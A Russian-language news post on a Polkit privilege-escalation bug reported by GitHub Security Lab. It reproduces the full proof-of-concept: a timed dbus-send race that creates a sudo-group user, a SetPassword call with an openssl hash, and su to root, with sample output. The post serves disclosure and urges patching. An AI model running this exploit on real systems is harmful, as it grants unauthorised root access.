Семилетний баг в Polkit, позволяющий получить root права

Семилетний баг в Polkit, позволяющий получить root права

Участник GitHub Security Lab Kevin Backhouse обнаружил уязвимость в Polkit, которая впервые появилась семь лет назад в коммите bfa5036 и с версией 0.113 попала в некоторые дистрибутивы. Она позволяет непривилегированному локальному пользователю получить root права в системе, приложив для этого минимальные усилия. Уязвимости подвержены любые дистрибутивы с установленной версией Polkit 0.113 (или более поздней). Например, такие популярные, как RHEL 8 и Ubuntu 20.04. Уязвимость была устранена 3 июня 2021 года.

Как пишет Kevin Backhouse, уязвимость очень просто эксплуатируется, для этого достаточно простых инструментов: bash, kill, и dbus-send. Кроме них, для своей статьи (PoC exploit) он так же использовал accountsservice и gnome-control-center, которые можно найти на многих системах с GUI. Следует заметить, что accountsservice и gnome-control-center не содержат уязвимость и являются просто клиентами для Polkit.

Собственно уязвимость активируется с помощью команды dbus-send (т.е. простой отправки сообщения через шину D-Bus), которую нужно завершить во время, пока Polkit ещё обрабатывает запрос. Теоретически, можно нажать Ctrl + C на клавиатуре в нужный момент, однако Kevin Backhouse не смог продемонстрировать именно такой вариант.

Шаги* эксплуатации уязвимости из PoC exploit

Для начала нужно замерить время, которое требуется для нормального выполнения команды dbus-send:

time dbus-send —system —dest=org.freedesktop.Accounts —type=method_call —print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:»Boris Ivanovich Grishenko» int32:1
Результат должен быть примерно таким:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

Вывод команды time показывает, что dbus-send была выполнена за 16 миллисекунд. Следовательно, для успешной эксплуатации команда dbus-send должна быть завершена примерно через 8 миллисекунд после запуска.
dbus-send —system —dest=org.freedesktop.Accounts —type=method_call —print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:»Boris Ivanovich Grishenko» int32:1 & sleep 0.008s ; kill $!

Вероятно, что данный трюк удастся провернуть не с первого раза, поэтому может понадобится подобрать более подходящую задержку перед завершением dbus-send. Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Далее необходимо задать пароль для пользователя boris. D-Bus интерфейс ожидает, что пароль будет передан в виде хеша, который легко получить с помощью openssl.
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь следует провернуть аналогичный описанному выше трюк с командой dbus-send, за исключением используемого метода. На сей раз требуется метод SetPassword.
dbus-send —system —dest=org.freedesktop.Accounts —type=method_call —print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:’$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB’ string:GoldenEye & sleep 0.008s ; kill $!

Как и в прошлый раз, вероятно потребуется несколько попыток и подбор значения задержки. Так же следует обратить внимание на идентификатор пользователя, который может отличаться от 1002 в примере.

Наконец можно получить привилегии root пользователя в системе:

su — boris # password: iaminvincible!
sudo su # password: iaminvincible!

―――
* Шаги эксплуатации уязвимости приведены исключительно для ознакомления. Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам. Помните об ответственности!

P.S. Настоятельно рекомендуется выполнить обновление системы.

>>> Подробности

Ссылка на основную публикацию